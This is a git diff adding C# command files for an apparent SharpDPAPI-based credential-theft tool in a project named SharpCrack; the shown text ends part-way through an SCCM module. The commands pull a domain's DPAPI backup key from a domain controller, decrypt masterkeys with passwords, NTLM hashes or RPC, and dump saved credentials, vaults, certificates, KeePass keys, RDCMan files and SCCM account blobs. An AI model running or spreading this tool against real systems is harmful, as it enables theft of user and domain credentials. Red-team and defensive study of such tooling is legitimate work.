diff --git a/SharpCrack/DPAPI/Commands/Backupkey.cs b/SharpCrack/DPAPI/Commands/Backupkey.cs new file mode 100644 index 0000000..7006d7b --- /dev/null +++ b/SharpCrack/DPAPI/Commands/Backupkey.cs @@ -0,0 +1,48 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace SharpDPAPI.Commands +{ + public class Backupkey : ICommand + { + public static string CommandName => "backupkey"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Retrieve domain DPAPI backup key\r\n"); + + string server = ""; + string outFile = ""; + bool noWrap = false; + + if (arguments.ContainsKey("/nowrap")) + { + noWrap = true; + } + + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + Console.WriteLine("\r\n[*] Using server : {0}", server); + } + else + { + server = Interop.GetDCName(); + if (String.IsNullOrEmpty(server)) + { + return; + } + Console.WriteLine("\r\n[*] Using current domain controller : {0}", server); + } + + if (arguments.ContainsKey("/file")) + { + // if we want the backup key piped to an output file + outFile = arguments["/file"]; + } + + Backup.GetBackupKey(server, outFile, noWrap); + } + } +} \ No newline at end of file diff --git a/SharpCrack/DPAPI/Commands/Blob.cs b/SharpCrack/DPAPI/Commands/Blob.cs new file mode 100644 index 0000000..8f0d0e3 --- /dev/null +++ b/SharpCrack/DPAPI/Commands/Blob.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace SharpDPAPI.Commands +{ + public class Blob : ICommand + { + public static string CommandName => "blob"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Describe DPAPI blob"); + + byte[] blobBytes; + bool unprotect = false; // whether to force CryptUnprotectData() + byte[] entropy = null; + var server = ""; + + if (arguments.ContainsKey("/unprotect")) + { + Console.WriteLine("\r\n[*] Using CryptUnprotectData() for decryption."); + unprotect = true; + } + Console.WriteLine(); + + if (arguments.ContainsKey("/target")) + { + string blob = arguments["/target"].Trim('"').Trim('\''); + if (File.Exists(blob)) + { + blobBytes = File.ReadAllBytes(blob); + } + else + { + blobBytes = Convert.FromBase64String(blob); + } + } + else + { + Console.WriteLine("[X] A /target: must be supplied!"); + return; + } + + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + } + + // {GUID}:SHA1 keys are the only ones that don't start with / + Dictionary masterkeys = new Dictionary(); + foreach (KeyValuePair entry in arguments) + { + if (!entry.Key.StartsWith("/")) + { + masterkeys.Add(entry.Key, entry.Value); + } + } + if (arguments.ContainsKey("/pvk")) + { + // use a domain DPAPI backup key to triage masterkeys + masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments); + } + else if (arguments.ContainsKey("/mkfile")) + { + masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]); + } + else if (arguments.ContainsKey("/password")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); + } + + if (arguments.ContainsKey("/entropy")) + { + entropy = Helpers.ConvertHexStringToByteArray(arguments["/entropy"]); + } + + if (blobBytes.Length > 0) + { + byte[] decBytesRaw = Dpapi.DescribeDPAPIBlob(blobBytes, masterkeys, "blob", unprotect, entropy); + + if ((decBytesRaw != null) && (decBytesRaw.Length != 0)) + { + if (Helpers.IsUnicode(decBytesRaw)) + { + string data = ""; + int finalIndex = Array.LastIndexOf(decBytesRaw, (byte)0); + if (finalIndex > 1) + { + byte[] decBytes = new byte[finalIndex + 1]; + Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex); + data = Encoding.Unicode.GetString(decBytes); + } + else + { + data = Encoding.ASCII.GetString(decBytesRaw); + } + Console.WriteLine(" dec(blob) : {0}", data); + } + else + { + string hexData = BitConverter.ToString(decBytesRaw).Replace("-", " "); + Console.WriteLine(" dec(blob) : {0}", hexData); + } + } + } + } + } +} \ No newline at end of file diff --git a/SharpCrack/DPAPI/Commands/Certificate.cs b/SharpCrack/DPAPI/Commands/Certificate.cs new file mode 100644 index 0000000..be05ad4 --- /dev/null +++ b/SharpCrack/DPAPI/Commands/Certificate.cs @@ -0,0 +1,188 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace SharpDPAPI.Commands +{ + + public class Certificate : ICommand + { + public static string CommandName => "certificates"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Certificate Triage"); + arguments.Remove("certificates"); + + string server = ""; // used for remote server specification + bool cng = false; // used for CNG certs + bool showall = false; // used for CNG certs + bool unprotect = false; // whether to force CryptUnprotectData() + + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + } + + if (arguments.ContainsKey("/unprotect")) + { + Console.WriteLine("\r\n[*] Using CryptUnprotectData() for decryption."); + unprotect = true; + } + Console.WriteLine(); + + // {GUID}:SHA1 keys are the only ones that don't start with / + Dictionary masterkeys = new Dictionary(); + foreach (KeyValuePair entry in arguments) + { + if (!entry.Key.StartsWith("/")) + { + masterkeys.Add(entry.Key, entry.Value); + } + } + + if (arguments.ContainsKey("/cng")) + { + cng = true; + } + + if (arguments.ContainsKey("/showall")) + { + showall = true; + } + + if (arguments.ContainsKey("/machine")) + { + // machine certificate triage + if (arguments.ContainsKey("/mkfile")) + { + masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]); + } + + if (arguments.ContainsKey("/target")) + { + string target = arguments["/target"].Trim('"').Trim('\''); + + if (masterkeys.Count == 0) + { + Console.WriteLine("\r\n[X] Either a '/mkfile:X' or {GUID}:key needs to be passed in order to use '/target' for machine masterkeys"); + } + else + { + if (File.Exists(target)) + { + Console.WriteLine("[*] Target Certificate File: {0}\r\n", target); + Triage.TriageCertFile(target, masterkeys, cng, showall); + } + else if (Directory.Exists(target)) + { + Console.WriteLine("[*] Target Certificate Folder: {0}\r\n", target); + Triage.TriageCertFolder(target, masterkeys, cng, showall); + } + else + { + Console.WriteLine("\r\n[X] '{0}' is not a valid file or directory.", target); + } + } + } + else + { + if (masterkeys.Count == 0) + { + // if no /target and no masterkeys, try to extract the SYSTEM DPAPI creds + if (!Helpers.IsHighIntegrity()) + { + Console.WriteLine("[X] Must be elevated to triage SYSTEM DPAPI Credentials!"); + } + else + { + masterkeys = Triage.TriageSystemMasterKeys(); + + Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n"); + foreach (KeyValuePair kvp in masterkeys) + { + Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); + } + Console.WriteLine(); + + Triage.TriageSystemCerts(masterkeys); + } + } + else + { + // if we got machine masterkeys somehow else + Console.WriteLine(masterkeys.Count); + Triage.TriageSystemCerts(masterkeys); + } + } + } + else + { + // user triage + + if (arguments.ContainsKey("/pvk")) + { + // use a domain DPAPI backup key to triage masterkeys + masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments); + } + else if (arguments.ContainsKey("/mkfile")) + { + masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]); + } + else if (arguments.ContainsKey("/password")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); + } + + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + Console.WriteLine("[*] Triaging Certificates from remote server: {0}\r\n", server); + Triage.TriageUserCerts(masterkeys, server, showall); + } + + if (arguments.ContainsKey("/target")) + { + string target = arguments["/target"].Trim('"').Trim('\''); + + if (File.Exists(target)) + { + Console.WriteLine("[*] Target Certificate File: {0}\r\n", target); + Triage.TriageCertFile(target, masterkeys, cng, showall, unprotect); + } + else if (Directory.Exists(target)) + { + Console.WriteLine("[*] Target Certificate Folder: {0}\r\n", target); + Triage.TriageCertFolder(target, masterkeys, cng, showall, unprotect); + } + else + { + Console.WriteLine("\r\n[X] '{0}' is not a valid file or directory.", target); + } + } + else + { + Triage.TriageUserCerts(masterkeys, "", showall, unprotect); + } + } + + Console.WriteLine("\r\n[*] Hint: openssl pkcs12 -in cert.pem -keyex -CSP \"Microsoft Enhanced Cryptographic Provider v1.0\" -export -out cert.pfx"); + } + } +} \ No newline at end of file diff --git a/SharpCrack/DPAPI/Commands/Credentials.cs b/SharpCrack/DPAPI/Commands/Credentials.cs new file mode 100644 index 0000000..44ab4b6 --- /dev/null +++ b/SharpCrack/DPAPI/Commands/Credentials.cs @@ -0,0 +1,97 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace SharpDPAPI.Commands +{ + public class Credentials : ICommand + { + public static string CommandName => "credentials"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: User DPAPI Credential Triage\r\n"); + arguments.Remove("credentials"); + + Dictionary masterkeys = new Dictionary(); + string server = ""; // used for remote server specification + + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + Console.WriteLine("[*] Triaging remote server: {0}\r\n", server); + } + + // {GUID}:SHA1 keys are the only ones that don't start with / + + foreach (KeyValuePair entry in arguments) + { + if (!entry.Key.StartsWith("/")) + { + masterkeys.Add(entry.Key, entry.Value); + } + } + + if (arguments.ContainsKey("/pvk")) + { + // use a domain DPAPI backup key to triage masterkeys + masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments); + } + else if (arguments.ContainsKey("/mkfile")) + { + masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]); + } + else if (arguments.ContainsKey("/password")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); + } + + if (arguments.ContainsKey("/target")) + { + string target = arguments["/target"].Trim('"').Trim('\''); + + if (File.Exists(target)) + { + Console.WriteLine("[*] Target Credential File: {0}\r\n", target); + Triage.TriageCredFile(target, masterkeys); + } + else if (Directory.Exists(target)) + { + Console.WriteLine("[*] Target Credential Folder: {0}\r\n", target); + Triage.TriageCredFolder(target, masterkeys); + } + else + { + Console.WriteLine("\r\n[X] '{0}' is not a valid file or directory.", target); + } + } + else + { + if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password")) + { + Console.WriteLine("[X] The '/server:X' argument must be used with '/pvk:BASE64...' or '/password:X' !"); + } + else + { + Triage.TriageUserCreds(masterkeys, server); + } + } + } + } +} \ No newline at end of file diff --git a/SharpCrack/DPAPI/Commands/ICommand.cs b/SharpCrack/DPAPI/Commands/ICommand.cs new file mode 100644 index 0000000..4115dd8 --- /dev/null +++ b/SharpCrack/DPAPI/Commands/ICommand.cs @@ -0,0 +1,9 @@ +using System.Collections.Generic; + +namespace SharpDPAPI.Commands +{ + public interface ICommand + { + void Execute(Dictionary arguments); + } +} \ No newline at end of file diff --git a/SharpCrack/DPAPI/Commands/Keepass.cs b/SharpCrack/DPAPI/Commands/Keepass.cs new file mode 100644 index 0000000..bd56b1a --- /dev/null +++ b/SharpCrack/DPAPI/Commands/Keepass.cs @@ -0,0 +1,98 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace SharpDPAPI.Commands +{ + public class Keepass : ICommand + { + public static string CommandName => "keepass"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: KeePass Triage"); + arguments.Remove("keepass"); + + string server = ""; // used for remote server specification + bool unprotect = false; // whether to force CryptUnprotectData() + + if (arguments.ContainsKey("/unprotect")) + { + Console.WriteLine("\r\n[*] Using CryptUnprotectData() for decryption."); + unprotect = true; + } + Console.WriteLine(""); + + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + Console.WriteLine("[*] Triaging remote server: {0}\r\n", server); + } + + // {GUID}:SHA1 keys are the only ones that don't start with / + Dictionary masterkeys = new Dictionary(); + foreach (KeyValuePair entry in arguments) + { + if (!entry.Key.StartsWith("/")) + { + masterkeys.Add(entry.Key, entry.Value); + } + } + if (arguments.ContainsKey("/pvk")) + { + // use a domain DPAPI backup key to triage masterkeys + masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments); + } + else if (arguments.ContainsKey("/mkfile")) + { + masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]); + } + else if (arguments.ContainsKey("/password")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); + } + + if (arguments.ContainsKey("/target")) + { + string target = arguments["/target"].Trim('"').Trim('\''); + + if (target.EndsWith("ProtectedUserKey.bin")) + { + Console.WriteLine("[*] Target ProtectedUserKey.bin File: {0}\r\n", target); + Triage.TriageKeePassKeyFile(masterkeys, target, unprotect); + } + else + { + Console.WriteLine("[X] Target must be a ProtectedUserKey.bin file: {0}\r\n", target); + } + } + else + { + if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password")) + { + Console.WriteLine("[X] The '/server:X' argument must be used with '/pvk:BASE64...' or '/password:X' !"); + } + else + { + Triage.TriageKeePass(masterkeys, server, unprotect); + } + } + } + } +} \ No newline at end of file diff --git a/SharpCrack/DPAPI/Commands/Machinecredentials.cs b/SharpCrack/DPAPI/Commands/Machinecredentials.cs new file mode 100644 index 0000000..0f951b0 --- /dev/null +++ b/SharpCrack/DPAPI/Commands/Machinecredentials.cs @@ -0,0 +1,34 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace SharpDPAPI.Commands +{ + public class Machinecredentials : ICommand + { + public static string CommandName => "machinecredentials"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Machine DPAPI Credential Triage\r\n"); + + if (!Helpers.IsHighIntegrity()) + { + Console.WriteLine("[X] Must be elevated to triage SYSTEM DPAPI Credentials!"); + } + else + { + Dictionary mappings = Triage.TriageSystemMasterKeys(); + + Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n"); + foreach (KeyValuePair kvp in mappings) + { + Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); + } + Console.WriteLine(); + + Triage.TriageSystemCreds(mappings); + } + } + } +} \ No newline at end of file diff --git a/SharpCrack/DPAPI/Commands/Machinemasterkeys.cs b/SharpCrack/DPAPI/Commands/Machinemasterkeys.cs new file mode 100644 index 0000000..9b4eda8 --- /dev/null +++ b/SharpCrack/DPAPI/Commands/Machinemasterkeys.cs @@ -0,0 +1,31 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace SharpDPAPI.Commands +{ + public class Machinemasterkeys : ICommand + { + public static string CommandName => "machinemasterkeys"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Machine DPAPI Masterkey File Triage\r\n"); + + Dictionary mappings = Triage.TriageSystemMasterKeys(false); + + if (mappings.Count == 0) + { + Console.WriteLine("\r\n[!] No master keys decrypted!\r\n"); + } + else + { + Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n"); + foreach (KeyValuePair kvp in mappings) + { + Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); + } + } + } + } +} \ No newline at end of file diff --git a/SharpCrack/DPAPI/Commands/Machinetriage.cs b/SharpCrack/DPAPI/Commands/Machinetriage.cs new file mode 100644 index 0000000..1a4e980 --- /dev/null +++ b/SharpCrack/DPAPI/Commands/Machinetriage.cs @@ -0,0 +1,39 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace SharpDPAPI.Commands +{ + public class Machinetriage : ICommand + { + public static string CommandName => "machinetriage"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Machine DPAPI Credential, Vault, and Certificate Triage\r\n"); + arguments.Remove("triage"); + + + if (!Helpers.IsHighIntegrity()) + { + Console.WriteLine("[X] Must be elevated to triage SYSTEM DPAPI Credentials!"); + } + else + { + Dictionary mappings = Triage.TriageSystemMasterKeys(); + + Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n"); + foreach (KeyValuePair kvp in mappings) + { + Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); + } + Console.WriteLine(); + + Triage.TriageSystemCreds(mappings); + Triage.TriageSystemVaults(mappings); + Triage.TriageSystemCerts(mappings); + SCCM.LocalNetworkAccessAccountsWmi(mappings); + } + } + } +} \ No newline at end of file diff --git a/SharpCrack/DPAPI/Commands/Machinevaults.cs b/SharpCrack/DPAPI/Commands/Machinevaults.cs new file mode 100644 index 0000000..82caf5a --- /dev/null +++ b/SharpCrack/DPAPI/Commands/Machinevaults.cs @@ -0,0 +1,34 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace SharpDPAPI.Commands +{ + public class Machinevaults : ICommand + { + public static string CommandName => "machinevaults"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Machine DPAPI Vault Triage\r\n"); + + if (!Helpers.IsHighIntegrity()) + { + Console.WriteLine("[X] Must be elevated to triage SYSTEM DPAPI Credentials!"); + } + else + { + Dictionary mappings = Triage.TriageSystemMasterKeys(); + + Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n"); + foreach (KeyValuePair kvp in mappings) + { + Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); + } + Console.WriteLine(); + + Triage.TriageSystemVaults(mappings); + } + } + } +} \ No newline at end of file diff --git a/SharpCrack/DPAPI/Commands/Masterkeys.cs b/SharpCrack/DPAPI/Commands/Masterkeys.cs new file mode 100644 index 0000000..7be919e --- /dev/null +++ b/SharpCrack/DPAPI/Commands/Masterkeys.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using System.DirectoryServices.ActiveDirectory; +using System.IO; +using System.Net; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Text; +using static System.Net.Mime.MediaTypeNames; + +namespace SharpDPAPI.Commands +{ + public class Masterkeys : ICommand + { + public static string CommandName => "masterkeys"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: User DPAPI Masterkey File Triage\r\n"); + + byte[] backupKeyBytes = null; + string password = ""; + string ntlm = ""; + string credkey = ""; + string computerName = ""; + string target = ""; + string sid = ""; + bool hashes = false; // true to display the matserkeys as hashes + bool rpc = false; // true to use RPC MS-BKUP for retrieval + bool show = true; // true to show the masterkey results in the Triage code + Dictionary mappings = new Dictionary(); + + if (arguments.ContainsKey("/pvk")) + { + string pvk64 = arguments["/pvk"]; + if (File.Exists(pvk64)) + { + backupKeyBytes = File.ReadAllBytes(pvk64); + } + else + { + backupKeyBytes = Convert.FromBase64String(pvk64); + } + } + + if (arguments.ContainsKey("/server")) + { + computerName = arguments["/server"]; + } + if (arguments.ContainsKey("/target")) + { + target = arguments["/target"]; + } + + if (arguments.ContainsKey("/password")) + { + password = arguments["/password"]; + } + if (arguments.ContainsKey("/ntlm")) + { + ntlm = arguments["/ntlm"]; + } + if (arguments.ContainsKey("/credkey")) + { + credkey = arguments["/credkey"]; + } + if (arguments.ContainsKey("/sid")) + { + sid = arguments["/sid"]; + } + + if (arguments.ContainsKey("/hashes")) + { + hashes = true; + } + if (arguments.ContainsKey("/rpc")) + { + rpc = true; + } + + if ( + (arguments.ContainsKey("/password") || arguments.ContainsKey("/ntlm") || arguments.ContainsKey("/credkey")) + && arguments.ContainsKey("/target") + && !arguments.ContainsKey("/sid")) + { + Console.WriteLine("[X] When using /password, /ntlm, or /credkey with /target:X, a /sid:X (domain user SID) is required!"); + return; + } + + if (arguments.ContainsKey("/hashes") && arguments.ContainsKey("/target") && !arguments.ContainsKey("/sid")) + { + Console.WriteLine("[X] When using /password, /ntlm, or /credkey with /target:X, a /sid:X (domain user SID) is required!"); + return; + } + + if ( + !(arguments.ContainsKey("/password") || arguments.ContainsKey("/ntlm") || arguments.ContainsKey("/credkey")) + && !arguments.ContainsKey("/pvk") + && !arguments.ContainsKey("/rpc") + && !arguments.ContainsKey("/hashes")) + { + Console.WriteLine("[X] A /pvk:BASE64 domain DPAPI backup key, /rpc, /password, /ntlm, /credkey, or /hashes must be supplied!"); + return; + } + + mappings = Triage.TriageUserMasterKeys( backupKeyBytes: backupKeyBytes, show: show, computerName: computerName, + password: password, ntlm: ntlm, credkey: credkey, target: target, + userSID: sid, dumpHash: hashes, rpc: rpc); + } + } +} \ No newline at end of file diff --git a/SharpCrack/DPAPI/Commands/PS.cs b/SharpCrack/DPAPI/Commands/PS.cs new file mode 100644 index 0000000..b561a7b --- /dev/null +++ b/SharpCrack/DPAPI/Commands/PS.cs @@ -0,0 +1,83 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace SharpDPAPI.Commands +{ + public class PS : ICommand + { + public static string CommandName => "ps"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: Describe PSCredential .xml"); + + string target = ""; + bool unprotect = false; // whether to force CryptUnprotectData() + var server = ""; + + if (arguments.ContainsKey("/unprotect")) + { + Console.WriteLine("\r\n[*] Using CryptUnprotectData() for decryption."); + unprotect = true; + } + Console.WriteLine(); + + if (arguments.ContainsKey("/target")) + { + target = arguments["/target"]; + } + else + { + Console.WriteLine("[X] A /target: must be supplied!"); + return; + } + + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + } + + // {GUID}:SHA1 keys are the only ones that don't start with / + Dictionary masterkeys = new Dictionary(); + foreach (KeyValuePair entry in arguments) + { + if (!entry.Key.StartsWith("/")) + { + masterkeys.Add(entry.Key, entry.Value); + } + } + if (arguments.ContainsKey("/pvk")) + { + // use a domain DPAPI backup key to triage masterkeys + masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments); + } + else if (arguments.ContainsKey("/mkfile")) + { + masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]); + } + else if (arguments.ContainsKey("/password")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); + } + + Triage.TriagePSCredFile(masterkeys, target, unprotect); + } + } +} \ No newline at end of file diff --git a/SharpCrack/DPAPI/Commands/RDG.cs b/SharpCrack/DPAPI/Commands/RDG.cs new file mode 100644 index 0000000..298e628 --- /dev/null +++ b/SharpCrack/DPAPI/Commands/RDG.cs @@ -0,0 +1,103 @@ +using System; +using System.Collections.Generic; +using System.IO; + +namespace SharpDPAPI.Commands +{ + public class RDG : ICommand + { + public static string CommandName => "rdg"; + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: RDG Triage"); + arguments.Remove("rdg"); + + string server = ""; // used for remote server specification + bool unprotect = false; // whether to force CryptUnprotectData() + + if (arguments.ContainsKey("/unprotect")) + { + Console.WriteLine("\r\n[*] Using CryptUnprotectData() for decryption."); + unprotect = true; + } + Console.WriteLine(""); + + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + Console.WriteLine("[*] Triaging remote server: {0}\r\n", server); + } + + // {GUID}:SHA1 keys are the only ones that don't start with / + Dictionary masterkeys = new Dictionary(); + foreach (KeyValuePair entry in arguments) + { + if (!entry.Key.StartsWith("/")) + { + masterkeys.Add(entry.Key, entry.Value); + } + } + if (arguments.ContainsKey("/pvk")) + { + // use a domain DPAPI backup key to triage masterkeys + masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments); + } + else if (arguments.ContainsKey("/mkfile")) + { + masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]); + } + else if (arguments.ContainsKey("/password")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/credkey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with credkey: {0}\r\n", arguments["/credkey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, credkey: arguments["/credkey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); + } + + if (arguments.ContainsKey("/target")) + { + string target = arguments["/target"].Trim('"').Trim('\''); + + if (target.EndsWith(".rdg")) + { + Console.WriteLine("[*] Target .RDG File: {0}\r\n", target); + Triage.TriageRDGFile(masterkeys, target, unprotect); + } + else if (target.EndsWith(".settings")) + { + Console.WriteLine("[*] Target RDCMan.settings File: {0}\r\n", target); + Triage.TriageRDCManFile(masterkeys, target, unprotect); + } + else + { + Console.WriteLine("[X] Target must be .RDG or RDCMan.settings file: {0}\r\n", target); + } + } + else + { + if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password")) + { + Console.WriteLine("[X] The '/server:X' argument must be used with '/pvk:BASE64...' or '/password:X' !"); + } + else + { + Triage.TriageRDCMan(masterkeys, server, unprotect); + } + } + } + } +} \ No newline at end of file diff --git a/SharpCrack/DPAPI/Commands/SCCM.cs b/SharpCrack/DPAPI/Commands/SCCM.cs new file mode 100644 index 0000000..89598b2 --- /dev/null +++ b/SharpCrack/DPAPI/Commands/SCCM.cs @@ -0,0 +1,362 @@ +using System; +using System.Text; +using System.Collections.Generic; +using System.Linq; +using System.Management; +using System.Text.RegularExpressions; +using System.IO; + +namespace SharpDPAPI.Commands +{ + public class SCCM : ICommand + { + public static string CommandName => "sccm"; + + public static ManagementScope NewSccmConnection(string path) + { + ConnectionOptions connection = new ConnectionOptions(); + ManagementScope sccmConnection = new ManagementScope(path, connection); + try + { + Console.WriteLine($"[*] Retrieving SCCM Network Access Account blobs via WMI"); + Console.WriteLine($"[*] Connecting to {sccmConnection.Path}"); + sccmConnection.Connect(); + } + catch (System.UnauthorizedAccessException unauthorizedErr) + { + Console.WriteLine("[!] Access to WMI was not authorized (user name or password might be incorrect): " + unauthorizedErr.Message); + return null; + } + catch (Exception e) + { + Console.WriteLine("[!] Error connecting to WMI: " + e.Message); + return null; + } + return sccmConnection; + } + + public static string[] GetKeyPropertyNames(ManagementScope 